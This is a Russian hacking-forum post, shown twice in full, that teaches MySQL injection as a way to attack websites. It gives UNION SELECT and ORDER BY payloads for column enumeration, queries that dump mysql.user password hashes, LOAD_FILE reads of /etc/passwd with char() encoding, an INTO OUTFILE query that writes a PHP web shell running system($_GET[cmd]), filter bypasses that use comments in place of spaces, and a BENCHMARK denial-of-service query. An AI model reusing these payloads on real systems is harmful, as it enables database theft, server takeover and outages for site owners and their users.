Pin4eGgg~
22.08.2008, 11:59
MySQL Inj - основы и не только
Наставления рядовому хакеру для успешного проведения атаки
************************************************** ***
MySQL Injection - одна из самых распространенных критических дыр всемирной свалки-интернета.... Она встречается довольно часто, причем в ресурсах довольно разных классов. Как и любая другая уязвимость, mysql inj - порождение ошибки кодера.
Что нам дает MySQL Injection?
Данная уязвимость позволяет пользователю выполнять произвольные команды в базе данных. А это тянет за собой большое колличество нехороших для жертвы последствий. С помощью MySQL Inj можно погубить, при определенных обстоятельствах, любой ресурс.
Немного теории
Итак, рассмотрим подробней mysql inj.
Например мы имеем такой php код:
<?php
...
$id = $_GET['id'];
...
mysql_query("UNION SELECT nick FROM users WHERE id=".$id);.....
?>
То есть, невдаваясь в подробности, в запрос подставляется переменная, полученная скриптом методом GET.
И теперь, внимательно посмотрев на php код, мы видим, что можем изменить запрос в свою пользу! Если эта переменная ничем не фильтруется, то вместо нормального ID, мы можем подставить такое выражение, которое выполнить определенный запрос в базе данных жертвы. Это и есть MySQL inj.
Практикум
Как обнаружить mysql inj? Ведь у нас нету исходников. Но это не проблемма. Рассмотрим пример:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Способ №1
Зачастую проверяют на Mysql inj подстановкой в переменную одинарной ковычки:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]'
Результатом, сведетельствующем о уязвимости должно быть сообщение на странице, что то вроде:
MySQL Error: mysql_query(.......) error expretion syntax...Вобщем нечто подобное свидетельствует уже о 99% уязвимости ресурса.
Способ №2
Это, кстати, тот самый способ о котором многие забывают, и очень часто пропускают заветную дыру. Ведь в скрипте может стоять, например, фильтрация на символ " ' " осущественная, скажем, preg_replace()
или же может стоять просто error_reporting(0), при котором увидеть сообщение об ошибке нам не суждено. Поэтому киддисы чаще всего просто подставляют ковычку, и не увидив сообщение об ошибке, покидают ресурс. Так вот он, второй метод проверки:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Если такой запрос вам покажет ту же страничку, что и page=1 , то считайте, что 99% тут иньекция.
Как теперь получить что-то?
Как я уже говорил, нам нужно вставить в переменную свой запрос, НО
ведь запрос прописанный в скрипте никто не отменял, так что нужно сделать так, чтобы он выдал результатом NULL - то есть пустое значение.
Вот пример:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]*
или
[Ссылки могут видеть только зарегистрированные и активированные пользователи]*
То есть выполнится запрос к записи №-1 или №99999 что вернет пустое значение, а далее пойдет наш код(/* - должно закомментировать оставшуюся часть запроса в скрипте. + является пробелом). Для того чтобы перейти на следующую стадию, мы должны подобрать определенное колличество полей на странице, которые используют mysql. Делается это методом перебора. Например:
union select null,null
union select null,null,null
union select null,null,null,null
и т.д. пока мы не подберем их колличество. Сигналом, о том что мы подобрали правильное колличество полей будет то, что на странице мы увидим все то же самое как и при запросе page=1, только все поля страницы будут пустыми.
Допустим мы имеем 6 полей. Тогда правильный запрос будет выглядеть так:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]*
Но есть более удобный способ подобрать практически любое колличество столбцов за считанные секунды. Есть в MySQL такая вещь как Order by.
Приведу пример запроса:
?id=-1+order+by+100/*
Если кол-во столбцов больше/равно 100, то запрос выполнится корректно - если нет, то увидим ошибку. Таким методом можно очень быстро найти столбцы.
Теперь нам нужно найти те поля, которые непосредственно отображаются на страничке. Для этого вместо null вводим последовательность цифр - 1,2,3,4....
пример:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]*
Теперь на страничке мы увидим появившиеся цифры в полях. Теперь мы знаем куда подставлять запрос. Можем сразу же получить немного информации. Например имя пользователя базы, версия mysqld, имя базы.
Например:
[Ссылки могут видеть только зарегистрированные и активированные пользователи](),4,5,6/*
[Ссылки могут видеть только зарегистрированные и активированные пользователи](),4,5,6/*
[Ссылки могут видеть только зарегистрированные и активированные пользователи](),4,5,6/*
Теперь наши возможности немного расширились. Мы можем:
1. Получить пароль root
Для этого составим такой запрос:
[Ссылки могут видеть только зарегистрированные и активированные пользователи] er/*
Мы получим лишь хэш пароля, который можно потом расшифровать при помощи PasswordsPro.
К сожалению этот метод работает не всегда, а только тогда когда у нас есть доступ к mysql.user
2. Прочитать другие таблицы
Метод осложняется тем, что для того чтобы нам что то прочитать, нам нужно знать ЧТО ИМЕННО. То есть, имена таблиц и их полей прийдется просто подбирать. Например можно попробовать таблицы типа users,reg_users,admins,accaunts...
Пример:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]*
3. Прочитать файлы на сервере
Если у нас есть права file_priv то мы можем прочитать файлы на сервере
с провами пользователя на котором крутится mysqld. Для этого нам поможет функция LOAD_FILE(). Пример:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]('/etc/passwd'),4,5,6/*
4.Получить шелл
Сразу скажу, что для этого нам нужно знать установочную дирректорию сайта. Составляем запрос, записывающий в файл шелл. Допустим уст. дирректория "/home/site/public_html/"
Тогда запрос такой:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]'<?php system($_GET[cmd]); ?>'+from+mysql.user+into+outfile+'/home/site/public_html/shell.php'/*
Вот, собственно все основные действия которые можно проделать с MySQL Inj. Единственное еще что могу добавить, так что, например, можно контролировать кол-во исходящей инфы из таблиц при помощи команды limit.
Syntax: limit сдвиг,кол-во
Exapmle: union select 1,2,user,pass,5,6+from+users+limit+5,3/*
В следствии чего будет выведено 3 записи таблицы, начиная с пятой
Секреты и ньюансы
Обход фильтрации
Например я иногда встречался с тем, что переменная с mysql inj фильтруется так, что в запросе, в имени поля, я не могу использовать буквы. Это я обошел таким способом:
[Ссылки могут видеть только зарегистрированные и активированные пользователи](AES_ENCRYPT(USER(), 0x71),0x71),4,5,6/*
Это успешно сработало.
Потом еще помню ситуацию, когда стояла фильтрация на ковычку, а мне надо было прочитать файл, при помощи LOAD_FILE(). Обошел я это при помощи char()
Пример чтения /etc/passwd:
[Ссылки могут видеть только зарегистрированные и активированные пользователи](char(47,101,116,99,47 ,112,97,115,115,119,100)),4,5,6/*
Так же иногда бывает, чаще всего в CMS, что иньекция, например, в поле имени, и там нельзя использовать пробелы. После этого кажеться что все кончено, НО и это можно обойти. Просто вместо пробела можно использовать комментарии. Например:
[Ссылки могут видеть только зарегистрированные и активированные пользователи] er/*
аналогично
[Ссылки могут видеть только зарегистрированные и активированные пользователи]**/union/**/select/**/1,2,user,password,5,6/**/from/**/mysql.user/*
DOS
[Ссылки могут видеть только зарегистрированные и активированные пользователи](10000000,BENCHMARK(10000000,md5(curren t_date)))
(c) LoFFi
Наставления рядовому хакеру для успешного проведения атаки
************************************************** ***
MySQL Injection - одна из самых распространенных критических дыр всемирной свалки-интернета.... Она встречается довольно часто, причем в ресурсах довольно разных классов. Как и любая другая уязвимость, mysql inj - порождение ошибки кодера.
Что нам дает MySQL Injection?
Данная уязвимость позволяет пользователю выполнять произвольные команды в базе данных. А это тянет за собой большое колличество нехороших для жертвы последствий. С помощью MySQL Inj можно погубить, при определенных обстоятельствах, любой ресурс.
Немного теории
Итак, рассмотрим подробней mysql inj.
Например мы имеем такой php код:
<?php
...
$id = $_GET['id'];
...
mysql_query("UNION SELECT nick FROM users WHERE id=".$id);.....
?>
То есть, невдаваясь в подробности, в запрос подставляется переменная, полученная скриптом методом GET.
И теперь, внимательно посмотрев на php код, мы видим, что можем изменить запрос в свою пользу! Если эта переменная ничем не фильтруется, то вместо нормального ID, мы можем подставить такое выражение, которое выполнить определенный запрос в базе данных жертвы. Это и есть MySQL inj.
Практикум
Как обнаружить mysql inj? Ведь у нас нету исходников. Но это не проблемма. Рассмотрим пример:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Способ №1
Зачастую проверяют на Mysql inj подстановкой в переменную одинарной ковычки:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]'
Результатом, сведетельствующем о уязвимости должно быть сообщение на странице, что то вроде:
MySQL Error: mysql_query(.......) error expretion syntax...Вобщем нечто подобное свидетельствует уже о 99% уязвимости ресурса.
Способ №2
Это, кстати, тот самый способ о котором многие забывают, и очень часто пропускают заветную дыру. Ведь в скрипте может стоять, например, фильтрация на символ " ' " осущественная, скажем, preg_replace()
или же может стоять просто error_reporting(0), при котором увидеть сообщение об ошибке нам не суждено. Поэтому киддисы чаще всего просто подставляют ковычку, и не увидив сообщение об ошибке, покидают ресурс. Так вот он, второй метод проверки:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Если такой запрос вам покажет ту же страничку, что и page=1 , то считайте, что 99% тут иньекция.
Как теперь получить что-то?
Как я уже говорил, нам нужно вставить в переменную свой запрос, НО
ведь запрос прописанный в скрипте никто не отменял, так что нужно сделать так, чтобы он выдал результатом NULL - то есть пустое значение.
Вот пример:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]*
или
[Ссылки могут видеть только зарегистрированные и активированные пользователи]*
То есть выполнится запрос к записи №-1 или №99999 что вернет пустое значение, а далее пойдет наш код(/* - должно закомментировать оставшуюся часть запроса в скрипте. + является пробелом). Для того чтобы перейти на следующую стадию, мы должны подобрать определенное колличество полей на странице, которые используют mysql. Делается это методом перебора. Например:
union select null,null
union select null,null,null
union select null,null,null,null
и т.д. пока мы не подберем их колличество. Сигналом, о том что мы подобрали правильное колличество полей будет то, что на странице мы увидим все то же самое как и при запросе page=1, только все поля страницы будут пустыми.
Допустим мы имеем 6 полей. Тогда правильный запрос будет выглядеть так:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]*
Но есть более удобный способ подобрать практически любое колличество столбцов за считанные секунды. Есть в MySQL такая вещь как Order by.
Приведу пример запроса:
?id=-1+order+by+100/*
Если кол-во столбцов больше/равно 100, то запрос выполнится корректно - если нет, то увидим ошибку. Таким методом можно очень быстро найти столбцы.
Теперь нам нужно найти те поля, которые непосредственно отображаются на страничке. Для этого вместо null вводим последовательность цифр - 1,2,3,4....
пример:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]*
Теперь на страничке мы увидим появившиеся цифры в полях. Теперь мы знаем куда подставлять запрос. Можем сразу же получить немного информации. Например имя пользователя базы, версия mysqld, имя базы.
Например:
[Ссылки могут видеть только зарегистрированные и активированные пользователи](),4,5,6/*
[Ссылки могут видеть только зарегистрированные и активированные пользователи](),4,5,6/*
[Ссылки могут видеть только зарегистрированные и активированные пользователи](),4,5,6/*
Теперь наши возможности немного расширились. Мы можем:
1. Получить пароль root
Для этого составим такой запрос:
[Ссылки могут видеть только зарегистрированные и активированные пользователи] er/*
Мы получим лишь хэш пароля, который можно потом расшифровать при помощи PasswordsPro.
К сожалению этот метод работает не всегда, а только тогда когда у нас есть доступ к mysql.user
2. Прочитать другие таблицы
Метод осложняется тем, что для того чтобы нам что то прочитать, нам нужно знать ЧТО ИМЕННО. То есть, имена таблиц и их полей прийдется просто подбирать. Например можно попробовать таблицы типа users,reg_users,admins,accaunts...
Пример:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]*
3. Прочитать файлы на сервере
Если у нас есть права file_priv то мы можем прочитать файлы на сервере
с провами пользователя на котором крутится mysqld. Для этого нам поможет функция LOAD_FILE(). Пример:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]('/etc/passwd'),4,5,6/*
4.Получить шелл
Сразу скажу, что для этого нам нужно знать установочную дирректорию сайта. Составляем запрос, записывающий в файл шелл. Допустим уст. дирректория "/home/site/public_html/"
Тогда запрос такой:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]'<?php system($_GET[cmd]); ?>'+from+mysql.user+into+outfile+'/home/site/public_html/shell.php'/*
Вот, собственно все основные действия которые можно проделать с MySQL Inj. Единственное еще что могу добавить, так что, например, можно контролировать кол-во исходящей инфы из таблиц при помощи команды limit.
Syntax: limit сдвиг,кол-во
Exapmle: union select 1,2,user,pass,5,6+from+users+limit+5,3/*
В следствии чего будет выведено 3 записи таблицы, начиная с пятой
Секреты и ньюансы
Обход фильтрации
Например я иногда встречался с тем, что переменная с mysql inj фильтруется так, что в запросе, в имени поля, я не могу использовать буквы. Это я обошел таким способом:
[Ссылки могут видеть только зарегистрированные и активированные пользователи](AES_ENCRYPT(USER(), 0x71),0x71),4,5,6/*
Это успешно сработало.
Потом еще помню ситуацию, когда стояла фильтрация на ковычку, а мне надо было прочитать файл, при помощи LOAD_FILE(). Обошел я это при помощи char()
Пример чтения /etc/passwd:
[Ссылки могут видеть только зарегистрированные и активированные пользователи](char(47,101,116,99,47 ,112,97,115,115,119,100)),4,5,6/*
Так же иногда бывает, чаще всего в CMS, что иньекция, например, в поле имени, и там нельзя использовать пробелы. После этого кажеться что все кончено, НО и это можно обойти. Просто вместо пробела можно использовать комментарии. Например:
[Ссылки могут видеть только зарегистрированные и активированные пользователи] er/*
аналогично
[Ссылки могут видеть только зарегистрированные и активированные пользователи]**/union/**/select/**/1,2,user,password,5,6/**/from/**/mysql.user/*
DOS
[Ссылки могут видеть только зарегистрированные и активированные пользователи](10000000,BENCHMARK(10000000,md5(curren t_date)))
(c) LoFFi